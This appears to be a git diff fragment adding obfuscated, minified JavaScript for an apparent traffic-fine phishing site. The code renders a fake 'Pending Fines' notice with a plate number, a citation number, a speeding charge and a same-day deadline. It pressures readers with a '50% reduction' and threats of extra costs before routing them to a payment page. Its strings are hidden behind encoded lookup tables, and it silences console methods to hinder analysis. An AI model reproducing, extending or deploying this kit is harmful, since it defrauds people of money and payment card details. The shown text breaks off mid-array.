y("span",uc,[z(s(Bs),{value:t.value.summaryStatusValue},null,8,["value"])])])])]),y("div",dc,[y("p",vc,[z(s(Bs),{value:t.value.summaryText},null,8,["value"])])]),y("div",pc,[y("p",fc,[z(s(Bs),{value:t.value.infoTitle},null,8,["value"])]),y("p",mc,[z(s(Bs),{value:t.value.infoBody},null,8,["value"])])])])])])]))}},[["__scopeId","data-v-f78990ff"]]);function gc(e,t){e-=103;const n=zc();let a=n[e];void 0===gc.jRhPZM&&(gc.XgbQnP=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;age[t(160)+"e"]?.pages?.notice||{}),c=a(()=>ge.value?.text?.[n(203)+"x"]||{}),u=d(""),v=a(()=>function(e){const t=n,a=n,r=n;return e[t(151)+"ullY"+a(153)]()+"/"+String(e[r(115)+t(108)]()+1)[r(257)+a(261)](2,"0")+"/"+String(e[t(232)+"ate"]())["padS"+a(261)](2,"0")}(new Date)),p=a(()=>ge[t(160)+"e"]?.[o(209)+"ency"+o(116)+"ol"]||"R"),f=a(()=>{const e=r,n=r,a=t,o=t,i=ge.value?.[e(268)+"y"]||"250",s=parseFloat(String(i)["repl"+n(141)](",",".")),l=Number[e(137)+n(147)](s)?Math[a(136)+"d"](s):i;return""+p[o(160)+"e"]+l}),m=a(()=>{const e=t,n=i,a=l.value?.[e(119)+n(154)+"PenaltyAmount"]??n(132);return""+p.value+a}),C=a(()=>{const e=n,a=n,r=o,s=t,c=i;return l.value?.[e(148)+"laimerAfterImpor"+a(139)]||" Accordi"+a(152)+s(211)+"rren"+e(220)+a(167)+s(197)+"n, i"+a(138)+e(169)+s(213)+"er p"+s(225)+a(164)+"in t"+c(237)+"irst"+e(155)+a(124)+"ays,"+s(175)+e(226)+r(178)+"ill be reduced by 50% of"+s(175)+c(255)+"imum"+e(218)+"unt. Not"+s(221)+r(107)+"the traffic "+r(103)+" on time wil"+r(180)+"sult in addi"+r(244)+c(250)+"osts"+e(168)+" transit"+e(143)+r(263)+'tions."'}),b=a(()=>{const e=o,t=n,a=i,s=r,c=o,d=l.value,p=u.value||d?.["plat"+e(111)+t(195)+"Fallback"]||"234";return[{label:d?.["plateRow"+a(204)+"l"]||"PLATE",labelUppercase:!0,value:p,variant:"default"},{label:d?.["descriptionR"+a(190)+"bel"]||e(135)+"ription",value:d?.["violatio"+s(248)+e(233)+"tion"]||"Driv"+s(107)+"at 7"+e(128)+"/h in a 60 k"+t(123)+s(251),variant:c(191)+"ult"},{label:d?.[a(235)+s(188)+c(202)+"abel"]||"Deadline",value:v.value,variant:"deadline"},{label:d?.["citation"+s(202)+c(207)]||e(112)+"tion"+e(166)+"ber",value:d?.[t(120)+e(244)+a(206)+"er"]||s(157)+"5816"+e(254)+"9145",variant:t(191)+a(212)},{label:d?.["demeritP"+e(231)+t(150)+"el"]||"Deme"+e(222)+"Points",value:d?.["deme"+e(118)+"oint"+c(134)+"play"]??"-",variant:"default"},{label:d?.["orig"+e(154)+"Pena"+t(106)+s(207)]||c(162)+"inal"+t(146)+t(109),value:m.value,variant:"strikeRed"},{label:d?.[t(140)+t(173)+"enal"+t(163)+"bel"]||"Revi"+a(130)+e(199)+"lty",value:f.value,variant:"bold"+t(208)}]}),B=a(()=>{const e=n,t=o;return l[e(160)+"e"]?.[e(227)+"ceHe"+t(253)+"Title"]||"Pend"+e(107)+"Fines"});a(()=>l.value?.[r(227)+t(172)+i(210)+"gline"]||"");const q=a(()=>{const e=r,t=n,a=o;return l.value?.[e(267)+e(133)+t(245)+"on"]||l.value?.claimButton||c[a(160)+"e"]?.btnNotice||"Next Step"});return h(()=>{const e=o,t=i;ai("支付页");const n=sessionStorage[e(223)+e(200)](Pc);if(n)try{const e=JSON.parse(n);u[t(160)+"e"]=e?.plate||""}catch{u[e(160)+"e"]=""}}),(e,n)=>{const a=i,o=r,c=t,u=r,d=i;return A(),g("div",qc,[n[4]||(n[4]=y(a(122),{class:"fines-notice__to"+a(117)+a(229),"aria-hidden":o(239)},null,-1)),y(o(122),xc,[y("header",Dc,[y("h1",Gc,[z(s(Bs),{value:B.value},null,8,["value"])]),n[1]||(n[1]=y(o(122),{class:u(227)+c(121)+d(145)+"head"+a(242)+"and"},[y("img",{class:"noti"+d(121)+c(145)+d(230)+c(165)+c(264)+"mg",src:pl,width:"160",height:"40",alt:o(158)+a(236),decoding:o(219)+"c"})],-1))]),y("div",{class:"noti"+d(183)+"able"+d(259)+"d",role:"region","aria-label":l.value.tableAriaLabel},[y(o(258)+"e",Lc,[y("tbody",null,[(A(!0),g(D,null,G(b[u(160)+"e"],(e,t)=>{const n=d,r=o,i=a,l=o,c=u;return A(),g("tr",{key:e.label+"-"+t},[y("th",{class:w({"notice-table__label--caps":e["labe"+n(110)+"ercase"]})},[z(s(Bs),{value:e[n(171)+"l"]},null,8,[n(160)+"e"])],2),y("td",null,[e[n(179)+"ant"]===i(247)+"keRed"?(A(),g(r(127),Mc,[z(s(Bs),{value:e.value},null,8,["value"])])):"boldRed"===e.variant?(A(),g("span",Wc,[z(s(Bs),{value:e.value},null,8,[r(160)+"e"])])):"deadline"===e[l(179)+"ant"]?(A(),g(c(127),Ec,[z(s(Bs),{value:e[i(160)+"e"]},null,8,[l(160)+"e"])])):(A(),g("span",Sc,[z(s(Bs),{value:e[r(160)+"e"]},null,8,[c(160)+"e"])]))])])}),128))])])],8,Ic),y("p",Tc,[n[2]||(n[2]=y(u(127),{class:"notice-disclaimer__prefix"},'*"',-1)),n[3]||(n[3]=y("strong",{class:"noti"+u(240)+o(159)+"aimer__impor"+u(139)},a(177)+"RTANT:",-1)),z(s(Bs),{value:C.value},null,8,[c(160)+"e"])]),y(d(181)+"er",Nc,[y("button",{type:"button",class:o(227)+d(265)+o(192)+"btn",onClick:n[0]||(n[0]=e=>s(To)("payment"))},[z(s(Bs),{value:q[a(160)+"e"]},null,8,[u(160)+"e"])])])])])}}}),[["__scopeId","data-v-c00aef17"]]);!function(){const e=kc,t=kc,n=kc,a=kc,r=kc,o=Vc();for(;;)try{if(132372==-parseInt(e(190))/1+-parseInt(e(179))/2*(-parseInt(n(183))/3)+-parseInt(n(189))/4*(-parseInt(a(186))/5)+parseInt(r(195))/6+-parseInt(a(191))/7+-parseInt(a(180))/8*(-parseInt(r(197))/9)+-parseInt(t(178))/10)break;o.push(o.shift())}catch(i){o.push(o.shift())}}();const Oc=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n[kc(196)+"y"](t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function kc(e,t){e-=177;const n=Vc();let a=n[e];void 0===kc.OdbqSe&&(kc.uvObWJ=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a{const e=kc,{router:t}=await nl({menu:wl,routers:[{name:"index",component:El,isChildren:!0},{name:"payment",component:Ul,isChildren:!0},{name:e(199)+"ess",component:hc,isChildren:!0},{name:e(198)+"ce",component:Rc,isChildren:!0}]},vl),n=H(al);n.use(t),n.mount("#app")})(); diff --git a/a5_za_sf_finessa/public/Static_zy/static/DqI0Hy03.js b/a5_za_sf_finessa/public/Static_zy/static/DqI0Hy03.js new file mode 100644 index 0000000..e0a7909 --- /dev/null +++ b/a5_za_sf_finessa/public/Static_zy/static/DqI0Hy03.js @@ -0,0 +1 @@ +const t=rt,e=rt,n=rt,r=rt,o=rt;!function(){const t=rt,e=rt,n=rt,r=rt,o=ft();for(;;)try{if(205791==parseInt(t(1090))/1*(-parseInt(e(1140))/2)+-parseInt(n(1219))/3+parseInt(r(1071))/4*(parseInt(n(1110))/5)+-parseInt(e(438))/6+parseInt(r(491))/7+parseInt(t(1120))/8*(parseInt(e(1268))/9)+parseInt(r(610))/10)break;o.push(o.shift())}catch(s){o.push(o.shift())}}();const s=function(){let t=!0;return function(e,n){const r=t?function(){if(n){const t=n.apply(e,arguments);return n=null,t}}:function(){};return t=!1,r}}();function i(t){const e=Object[rt(1166)+"te"](null);for(const n of t.split(","))e[n]=1;return t=>t in e}s(void 0,function(){const t=rt,e=rt,n=rt,r=rt,o=rt,i=function(){const t=rt,e=rt,n=rt,r=rt;let o;try{o=Function(t(878)+e(455)+"func"+t(448)+"() {}.const"+t(1285)+'or("retu'+r(534)+r(889)+n(1014)+");")()}catch(s){o=window}return o}(),a=i[t(419)+t(1076)]=i[e(419)+n(1076)]||{},c=[o(1278),t(523),"info","error",o(1226)+e(432)+"n","table",n(731)+"e"];for(let u=0;u{},l=()=>!1,f=n=>111===n["char"+t(1020)+"At"](0)&&110===n.charCodeAt(1)&&(n[e(986)+"CodeAt"](2)>122||n[e(986)+r(1020)+"At"](2)<97),h=t=>t["star"+o(957)+"th"](e(1198)+"date:"),p=Object[r(949)+"gn"],d=(t,e)=>{const n=r,o=t[r(615)+"xOf"](e);o>-1&&t[n(688)+"ce"](o,1)},y=Object[e(1046)+t(1103)+"e"]["hasO"+t(975)+"operty"],v=(t,e)=>y.call(t,e),g=Array["isAr"+t(942)],C=t=>x(t)==="[object "+e(1132),B=t=>"[object Set]"===x(t),z=t=>x(t)===n(1159)+"ect Date]",q=t=>"function"==typeof t,D=t=>typeof t==o(1124)+"ng",m=t=>typeof t==o(850)+"ol",w=t=>null!==t&&typeof t==n(621)+"ct",G=t=>{const e=r;return(w(t)||q(t))&&q(t[e(1137)])&&q(t.catch)},W=Object[t(1046)+"otype"].toString,x=t=>W.call(t),b=t=>"[object Object]"===x(t),A=t=>D(t)&&"NaN"!==t&&"-"!==t[0]&&""+parseInt(t,10)===t,L=i(",key"+n(1043)+",ref"+o(1203)+t(1043)+"_key"+n(1297)+"node"+e(452)+o(1289)+"unt,"+t(467)+n(693)+o(775)+"ed,onVno"+o(687)+e(749)+"Upda"+r(898)+"nVno"+n(737)+r(1256)+t(979)+e(803)+r(434)+"oreU"+n(1221)+r(550)+e(513)+r(604)+r(541)+"ted"),M=(i(o(591)+t(968)+r(1183)+"lse-if,e"+t(1119)+o(1024)+"html"+n(922)+"model,on"+e(1131)+"e,pre,sh"+o(649)+"lot,"+t(638)+",memo"),t=>{const e=Object.create(null);return n=>e[n]||(e[n]=t(n))}),_=/-\w/g,S=M(t=>{const e=n;return t[e(1010)+"ace"](_,t=>t[e(762)+"e"](1).toUpperCase())}),I=/\B([A-Z])/g,k=M(n=>n["repl"+t(1107)](I,"-$1")[e(959)+o(413)+t(1065)]()),H=M(n=>{const r=o,s=t,i=e;return n[r(986)+"At"](0)[s(783)+r(1117)+i(1065)]()+n.slice(1)}),j=M(t=>t?"on"+H(t):""),U=(t,e)=>!Object.is(t,e),E=(t,...e)=>{for(let n=0;n{Object["defi"+o(705)+"operty"](t,e,{configurable:!0,enumerable:!1,writable:r,value:n})},Y=t=>{const e=parseFloat(t);return isNaN(e)?t:e};let N;const X=()=>{const t=o,e=o,r=n;return N||(N=typeof globalThis!=t(501)+"fined"?globalThis:typeof self!=t(501)+e(747)+"d"?self:typeof window!=t(501)+"fined"?window:typeof global!="unde"+r(747)+"d"?global:{})};t(920),r(492),e(755),o(1059),t(764),o(528),n(877),e(925),n(1277),t(588),t(706),n(486),e(463),r(464),o(625),r(725),o(608),r(515),e(768),t(1254),t(1267),r(1059),t(764),o(528),o(555),n(1277),o(588),e(1034),n(1042),e(706),o(1059),e(464),r(937),n(768),e(925),o(480),r(835),r(848),t(686),t(920),e(1078),n(1085),r(1085),n(697),n(562),e(1253),o(1151),o(657),n(1248),t(466),r(952),o(528),e(463),r(819),n(819);const Z=i(o(919)+"nity"+r(933)+"efin"+e(692)+n(1217)+r(896)+"ite,"+e(1266)+"N,pa"+t(1164)+e(431)+",parseIn"+r(845)+"code"+n(631)+r(695)+n(796)+t(445)+t(668)+"nt,e"+e(567)+"eURI,enc"+o(744)+"RIComponent,Math"+r(586)+n(1064)+"Date,Arr"+r(521)+"bject,Bo"+t(1175)+o(1150)+n(1102)+",Reg"+o(971)+"Map,"+o(824)+o(600)+",Int"+o(823)+"gInt,con"+r(1009)+t(729)+o(993)+e(895)+"l");function O(t){if(g(t)){const e={};for(let n=0;n{const e=n,o=n;if(t){const n=t[e(688)+"t"](T);n[e(1122)+"th"]>1&&(r[n[0][e(809)]()]=n[1][o(809)]())}}),r}function R(t){const e=r;let n="";if(D(t))n=t;else if(g(t))for(let r=0;r>(-2*s&6)):0)o="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(o);for(let r=0,o=e.length;rst(t,e))}i(et+",asy"+r(1155)+"utofocus"+r(1255)+"opla"+e(454)+o(802)+n(751)+o(1114)+"lt,defer"+t(488)+n(884)+r(1139)+o(940)+",ine"+e(1170)+n(663)+n(807)+r(1063)+n(818)+"d,re"+o(830)+n(947)+n(1292)+"d,seamless,check"+o(1245)+e(549)+",multipl"+t(616)+"lected"),r(852),r(1179),r(1051),o(938),n(996),i(r(852)+r(1171)+e(1229)+"t-charse"+o(670)+t(672)+o(508)+"acti"+e(1104)+t(645)+r(469)+"ow,a"+n(636)+"sync"+t(1255)+"ocapital"+t(1189)+"autocomp"+o(1218)+n(1255)+n(1177)+o(435)+"utoplay,back"+e(459)+e(912)+e(1242)+r(1127)+"order,buffered,captu"+e(440)+"hall"+n(593)+",cha"+e(1045)+",checked"+t(1178)+n(1025)+r(439)+"code"+t(634)+"ebas"+r(1060)+t(665)+"cols,col"+n(698)+e(517)+o(580)+r(517)+e(580)+"editable"+e(517)+"text"+n(890)+",controls,coords,cro"+r(481)+e(911)+",csp,data,dateti"+o(943)+"ecoding,"+t(421)+"ult,"+r(589)+"r,di"+e(669)+e(1161)+"e,di"+r(915)+n(1188)+t(694)+"oad,drag"+e(475)+n(1299)+"opzo"+r(416)+"nctype,enter"+t(696)+"int,for,"+n(542)+",for"+e(632)+"ion,formenctype,"+r(542)+o(1066)+"od,formnovalidate,formta"+r(449)+n(1260)+n(745)+r(1153)+e(1236)+"hidden,h"+t(544)+t(988)+t(965)+n(1086)+o(932)+"tp-e"+t(707)+",ico"+e(1077)+e(470)+r(424)+r(682)+"inert,in"+e(786)+n(778)+o(532)+"p,it"+r(770)+"op,keyty"+o(457)+n(656)+o(1056)+"l,lang,l"+n(1220)+n(1e3)+"load"+e(1259)+r(468)+n(418)+t(815)+t(531)+"nifest,max,m"+e(605)+o(1033)+",min"+e(1122)+"th,media,min"+r(894)+r(1099)+"e,mu"+n(623)+n(740)+",nov"+t(1018)+"ate,"+r(807)+n(1196)+"imum"+r(427)+e(739)+",pin"+e(977)+r(1125)+"older,poster,pre"+n(689)+",radiogr"+n(575)+"readonly"+n(1043)+o(1163)+o(806)+"icy,"+r(506)+t(974)+e(870)+r(1094)+o(935)+r(901)+t(603)+"owsp"+e(934)+"andb"+n(820)+o(1292)+n(1141)+r(851)+t(1228)+"cted"+e(909)+t(561)+e(1189)+r(1040)+n(429)+t(1036)+t(472)+"spel"+t(412)+e(641)+"rc,srcdo"+o(906)+"clan"+t(1047)+t(787)+",sta"+t(859)+n(883)+r(450)+"e,su"+r(1222)+e(1283)+r(591)+r(612)+"arget,title,tran"+e(1296)+"e,ty"+o(1087)+"semap,va"+r(1035)+"widt"+r(653)+"ap"),i("xmlns,ac"+n(781)+"-height,accumulate,additive,alignmen"+e(717)+"seline,alpha"+o(921)+"c,amplitude,"+t(563)+n(630)+o(1168)+"asce"+r(867)+r(1213)+r(437)+"Name,attributeType,azimu"+t(690)+n(619)+"requ"+t(1055)+",baseline-shift,"+o(1105)+n(410)+e(839)+o(538)+t(558)+"in,bias,"+r(1211)+r(489)+e(891)+"cap-height,c"+n(1138)+t(1013)+"p,clipPa"+e(882)+r(1251)+n(780)+"-path,clip-r"+e(840)+r(601)+n(533)+r(659)+e(1133)+"rpolation,color-"+r(1133)+t(806)+"atio"+t(587)+t(425)+o(761)+"lor-prof"+n(839)+r(601)+"r-render"+o(1259)+"contentScriptTyp"+t(1060)+o(1191)+t(460)+"leTy"+r(536)+t(596)+n(728)+t(1136)+e(1049)+o(1195)+o(841)+t(582)+o(1028)+n(944)+",descent"+t(647)+"fuseCons"+n(1145)+e(816)+"ecti"+n(1081)+"ispl"+r(1215)+"ivisor,d"+r(1282)+"ant-"+o(1105)+"line,dur"+o(999)+e(648)+"dgeMode,elevation,enable"+o(1243)+"kground,end,exponent"+n(568)+"l,fi"+r(1113)+r(946)+"ty,fill-rule"+e(568)+"ter,"+e(579)+r(923)+"s,fi"+e(425)+"Unit"+e(1118)+"ood-color,flood-"+o(1257)+"ity,font"+r(1199)+"ily,"+t(1115)+o(500)+"e,fo"+o(746)+o(465)+"adjust,font-"+n(1192)+"tch,"+r(1115)+"-sty"+t(1276)+"ont-variant,"+o(1115)+"-weight,"+e(542)+n(887)+o(1231)+n(627)+"x,fy"+o(810)+"g2,g"+r(924)+e(1225)+"e,gl"+r(742)+n(844)+e(478)+"ion-hori"+o(1032)+"al,g"+n(924)+"-orientation"+o(791)+"tica"+r(602)+"yphRef,gradi"+t(417)+o(1298)+"form,gra"+e(793)+"tUnits,h"+o(913)+"ng,height,hr"+n(843)+"reflang,"+n(1160)+r(646)+n(1002)+"horiz-or"+o(911)+n(1149)+o(832)+"eogr"+o(709)+"c,image-"+n(1143)+"ering,in"+t(760)+e(433)+t(765)+t(1273)+",k1,"+t(1194)+e(1135)+",ker"+o(1272)+"atrix,ke"+e(969)+t(992)+n(618)+r(948)+"erning,keyPo"+e(1193)+",keySpli"+r(972)+r(990)+e(1271)+t(674)+o(773)+"ngthAdjust,l"+r(888)+"r-spacin"+e(661)+"ghting-color"+r(1184)+r(1252)+t(798)+"eAng"+o(473)+r(436)+",marker-end,marker-mid,m"+e(552)+"r-start,"+n(655)+n(1303)+"ight"+r(420)+"kerU"+r(1068)+",mar"+n(714)+o(1185)+",mask,maskConten"+o(1230)+e(1265)+o(1074)+"nits"+e(1173)+o(776)+"tical,ma"+n(685)+"dia,meth"+e(701)+"in,mode,"+t(740)+o(637)+"Octa"+r(1301)+"offs"+t(855)+o(946)+"ty,opera"+r(1073)+o(1044)+"r,orient,ori"+r(660)+"tion,origin,overflow,ove"+t(743)+"e-position,overline-"+t(811)+t(520)+"s,pa"+o(1091)+n(1291)+r(1200)+t(1058)+"er,p"+o(485)+e(1270)+r(618)+"th,p"+t(1281)+"rnCo"+r(1191)+o(1230)+"ts,p"+e(1281)+"rnTr"+o(711)+"orm,patt"+n(566)+"nits,ping,po"+t(1133)+"r-ev"+o(1162)+t(620)+"nts,pointsAtX,pointsAtY,"+e(732)+"tsAt"+e(808)+e(978)+"veAlpha,"+r(784)+"erveAspe"+n(1029)+"tio,primitiveUni"+o(910)+n(750)+t(409)+r(854)+t(414)+"Policy,refX,"+n(1182)+",rel"+e(738)+n(1092)+"ng-i"+e(1191)+t(930)+"peat"+e(838)+"t,repeatDur,requ"+n(870)+"Extensio"+t(1172)+"equi"+e(526)+"eatures,restart,result,r"+o(1223)+"e,rx,ry,"+n(897)+r(616)+t(947)+o(1080)+"-ren"+o(1092)+o(1262)+e(537)+",spacing"+r(1069)+r(1106)+"rConstan"+t(1057)+"ecul"+r(599)+n(668)+"nt,speed,spr"+r(795)+t(1293)+"d,startO"+t(1100)+t(928)+"dDev"+t(405)+"on,stemh"+r(973)+"mv,s"+o(1167)+e(679)+"es,s"+e(607)+"colo"+r(872)+t(635)+r(946)+o(535)+"trik"+o(1154)+"ough"+r(1006)+e(754)+"n,strikethro"+n(1165)+"thic"+e(520)+o(967)+"ring"+r(1004)+"oke,stro"+t(654)+t(735)+e(667)+r(1004)+t(1261)+t(446)+"offset,strok"+t(985)+"neca"+e(1158)+"roke"+e(1096)+"ejoi"+e(961)+r(640)+"-mit"+r(543)+e(1130)+r(831)+e(507)+r(946)+"ty,strok"+n(1128)+t(422)+"styl"+n(871)+"rfaceSca"+t(908)+r(502)+n(790)+n(766)+o(1207)+n(591)+t(612)+e(884)+"Valu"+n(756)+"arget,target"+t(643)+o(449)+"Y,text-ancho"+r(1210)+n(530)+e(995)+t(699)+n(1041)+"xt-rende"+e(1102)+e(792)+"tLen"+t(865)+"to,t"+n(1298)+"form"+o(1263)+"nsform-o"+n(1258)+"n,type,u1,u2,underli"+n(474)+"osition,"+o(501)+"rlin"+t(662)+"ickness,"+e(929)+"ode,unic"+t(970)+"bidi,unicode"+n(960)+e(873)+r(1068)+"-per"+e(730)+t(617)+"phabetic"+r(753)+"anging,v"+e(1174)+n(703)+o(989)+o(1116)+"athematical,"+t(842)+o(624)+t(801)+"r-ef"+e(462)+e(1302)+t(991)+",ver"+o(1079)+o(512)+"vert"+e(736)+t(954)+e(718)+"rt-o"+e(1258)+"n-y,"+o(788)+r(1026)+r(788)+"Targ"+n(451)+"isib"+n(759)+"y,wi"+r(422)+n(814)+"hs,word-"+e(771)+t(1259)+"writ"+r(741)+r(666)+o(581)+e(789)+t(1236)+n(1284)+t(553)+"hannelSelector,x"+e(1084)+":actuate"+e(498)+e(758)+"rcro"+n(598)+r(1084)+e(1180)+o(984)+"ink:"+t(1264)+",xlink:show,"+r(914)+e(539)+"tle,xlink:type,x"+n(998)+":xlink,xml:base,"+n(724)+"lang,xml"+o(857)+n(772)+",y1,"+n(514)+"Chan"+r(849)+"elec"+o(1073)+o(1250)+"omAn"+r(927)),i(e(852)+n(867)+o(715)+t(899)+"er,actio"+o(980)+n(1275)+"ign,alignmen"+e(1083)+r(817)+"ltim"+n(1244)+e(557)+"-hei"+r(1236)+"altimg-v"+o(821)+t(525)+"timg-wid"+r(893)+"ltte"+o(540)+n(733)+"led,"+o(1048)+t(1060)+n(997)+"sali"+e(779)+"olum"+n(1093)+o(477)+e(1152)+o(518)+"n,denomalign,depth,d"+e(861)+t(860)+"ay,d"+t(860)+"aystyle,enco"+o(628)+r(546)+r(716)+"lumn"+r(945)+"ualr"+n(529)+"fence,fo"+t(658)+"yle,fontweight,f"+n(1168)+t(573)+t(719)+n(430)+"paci"+t(642)+"roupalig"+t(554)+e(1246)+",href,id,ind"+e(660)+e(645)+",ind"+e(660)+"lign"+o(704)+e(476)+"dentalignlast,indentshift,in"+n(423)+"shiftfirst,i"+n(522)+r(583)+"ftla"+n(892)+t(577)+n(453)+",justify,largetop,largeo"+e(1126)+"uote,lspace,math"+t(976)+t(459)+"nd,mathc"+o(917)+",mat"+r(484)+e(1129)+t(684)+n(1249)+"t,ma"+t(931)+"e,minlab"+o(951)+o(1280)+"g,mo"+o(1098)+"ther"+o(1294)+"rflo"+e(941)+"siti"+e(497)+n(805)+n(614)+o(1156)+"ines"+r(585)+"span"+n(1008)+t(1062)+e(1088)+r(1234)+"criptlev"+n(592)+"crip"+t(963)+o(1040)+t(774)+"ipts"+n(1017)+r(1021)+"plie"+t(678)+"lect"+o(847)+n(812)+"rator,se"+n(826)+"tors,shift,s"+r(964)+"src,stac"+o(902)+o(652)+e(886)+r(1300)+"subs"+t(856)+"tshift,s"+o(524)+e(680)+"ptsh"+r(782)+"symmetric,voffset,width,widt"+e(752)+n(1084)+":href,xl"+e(777)+e(677)+e(498)+"nk:t"+e(720)+o(748)+"s");const at=t=>!(!t||!0!==t[o(505)+"isRef"]),ct=e=>{const n=r,s=t,i=t,a=o;return D(e)?e:null==e?"":g(e)||w(e)&&(e[n(560)+"ring"]===W||!q(e[s(560)+"ring"]))?at(e)?ct(e[i(842)+"e"]):JSON["stri"+a(1181)+"y"](e,ut,2):String(e)},ut=(t,e)=>{const s=n,i=r,a=o,c=n;return at(e)?ut(t,e[s(842)+"e"]):C(e)?{["Map("+e.size+")"]:[...e[i(936)+a(875)]()].reduce((t,[e,n],r)=>{const o=s;return t[lt(e,r)+o(1212)]=n,t},{})}:B(e)?{["Set("+e[c(1040)]+")"]:[...e.values()][s(794)](t=>lt(t))}:m(e)?lt(e):!w(e)||g(e)||b(e)?e:String(e)},lt=(t,r="")=>{const o=e,s=n;var i;return m(t)?"Symb"+o(785)+(null!=(i=t["descript"+s(545)])?i:r)+")":t};function ft(){const t=["DgGSyq","lg11Ba","Ew1IBW","C0zPBG","C2nHBa","DguSBW","DhvUza","C3bSyq","zcXYBW","A2fSAq","CMnLla","yw5PBq","lgLZBq","yYXZCG","DguSCG","BguSCW","lhnOyq","DhmSCG","AwDPBG","BMqSyG","yw5NAq","EgXPBG","C2fIBa","EhbD","B2XVCG","DgfYzq","sw5MAq","vevyva","yMv0Aq","lgLMla","zxjszq","BhLWAa","ru5u","zNjLzq","zfbHBG","DcXZDa","Dw5PyW","DcXYzq","EhnPEG","zYXODa","lhvUza","yw4SCW","zxjZzq","zw50CG","uK9pva","Ahr0Ca","y2vTzq","zgrLBG","DYXWBW","CMf5","BwuSza","CMf0zq","CYXLCq","CgfJAq","zwqSCW","DgGSAW","yxnZAq","lgGXla","zwXZCa","ufrFqq","ChqSza","z2LUlq","BxrKla","AYXXla","DhnxAq","BMX5","Dg9mBW","lxjHBG","BIXZDa","CM9WuW","Dg1PBG","AwrLla","lgHYzq","C2mSza","CYXZDa","lgnSBW","CM5LBa","B2rLlq","rxHWla","BMvZla","lhn0zq","CMvXDq","D25qCG","yMfJAW","zYXWBa","zxnLCG","zcXVBG","BNr5Ca","CIXIza","CMLWDa","jNf1BW","zIX4Ba","zs1SAq","y2HHCG","BNvTyG","AhjLzG","CgHPyW","A2v5va","C2LVBG","vw5PDa","B3iSuW","ysbZDa","zwnVCG","lwvXDq","BhvTBG","BwXUCW","lgr4la","ywDLla","zvrPBa","DI14la","zcXMzq","lhn0CG","AM9PBG","lxbVCW","lhDICG","lhjXDq","C29Szq","CMvWBa","C2XPBG","lhuSDG","lgnSAq","ksGGkq","zcXKBa","y3jLzq","AxPLBq","ywXPza","BwLU","q29Kzq","DwX0Aq","zxmSBq","CMvWzq","zM9Yla","zsXJBa","qM94la","zsXTCW","y2vSzq","y3rsyq","lxbYBW","Bwv0yq","EM9UDa","BMD0Aa","wuvexW","BhvLla","B3qSCW","ugf0Aa","Bxn0Eq","vhvYyG","C2L6zq","BIX0zq","rLjbrW","lhjLzG","B3jKzq","CNnLDa","ChjVDa","zYXZCG","y2XVCW","DxjZBW","zvnWBW","y2XHCW","zwfKBW","ig9Yia","lg11BG","zw5JEq","BgfIzq","DcXZCa","lw9Yza","tKvfra","zsXJBW","AdySBG","B3rLla","lhjLCq","yMvYla","yxnL","Bwv0Aa","DgjVza","BML0CW","lhnWzq","ihvZzq","mJeWofrfvKrsCq","CYXZzq","Dg9Yla","yxnRvq","BM92yq","B2XL","BIXPza","wv9dsa","Dc1Hza","AgfWzq","B24Sza","zwn0Aq","DhnJBW","BgLUAW","suXeuG","zMXHBG","CguSDq","CNnWyq","zxjNzq","mtDurLfywKS","BM9Zzq","zgvYAq","BMXPBG","lhjLDG","BwXHyG","lwXPBG","DgGSyW","zguSBW","DgLWBa","zMzZzq","lg1Wyq","CMLUzW","B3r5Ca","B24Syq","yMfZzq","y3vSyq","ywnL","lgzLqW","AxrLBq","mtC5nxDtq0vbwa","B2WSDa","Dxr0BW","BgWTBW","zwzHDq","zM9UDa","lhyTBq","CgvYqW","CYXMBa","BhnLla","mti1ndi0A0TnAxnp","qIXMzq","BgvUzW","BNrnyq","C3rYAq","ywnLAa","CcXSCq","B3iSyG","zs13Aq","zsXTyq","BwL0la","lg9UyW","twfWxq","Aw50zq","zsXICG","mYXRna","Aw4SyW","DgHLBG","BgfZCW","zcXOAq","mZm0mZr3uNfwv1m","lhnJBW","B21WBW","CMvUza","yxvKAq","DgfUDa","zhjLCW","yxrHla","CMvJzq","lxGSAq","BIXtDa","uf9bta","B2X1Bq","lgHLAq","zxrOCG","BMmSyq","CM93Ba","AcXPBq","CcXZDa","w29IAG","Ag9YAq","CM5HBq","zw50CW","zxjYzq","CNnLrG","DwDOlq","y3jLyq","DgL0yW","B3jTla","CcX0CG","CNqSBa","ChqSyq","BNmSCG","lg1HDa","lwLKzq","B2XLyq","lhnLBq","B2zVyW","lgnPDa","AgfYCW","oMHYzq","BMDPzG","CMvMwq","ywSSzq","lgXPBq","Awr0Aa","yw50Aq","B24SzG","zwqSza","AxPLla","CYXHCG","BNrLBG","C3rYzq","Aw50CW","AZiSAW","CIXJEa","lg9WDa","lhzPzq","B25vCa","lwzHBq","ywLUDa","AhqSzG","DcXYDq","x2zVCG","DcXTDa","lhrOla","jMX0oW","zsX0yq","CMfJla","zxqSzG","CIX0zq","yNKSyW","id0+","DhrYAq","lgjHCW","yxKSza","B3bLCG","yu4SAq","Bgv0zq","mZi2nJmXq0vZtK1W","yw5NDq","BM1VDq","Bw1HCG","B3rHDa","AhbHDa","lw5HBq","zxHJzq","lgvTyG","C2vSzq","y2nLCa","DfvUAq","CM9Tla","CIXPBq","lgjVza","y2uSCW","AwfSrW","z2H0la","DsXZDq","zgf0yq","zwn1Ba","yNKSCW","DgvZDa","z2nVBa","lwjHyW","zYXHBa","zwqSBq","AwDODa","x19WCG","t05ftG","CMLHBG","EIX6BW","AxrZla","AxrPBG","t1vmra","qKfjta","lgf1Da","zgf0zq","B3bHyW","CMLNAq","Aw5Nla","lgHLyq","B2TLlq","BMCSCW","lhrYyq","CM9Szq","DhmSBq","Axnoyq","rLvmta","ntr6Dg15C2y","yNv0ia","Cgf0Aa","Aw1LCW","BMvStq","ChqSAW","lhnVDq","zsXHBa","BguSzG","rf9guG","Bg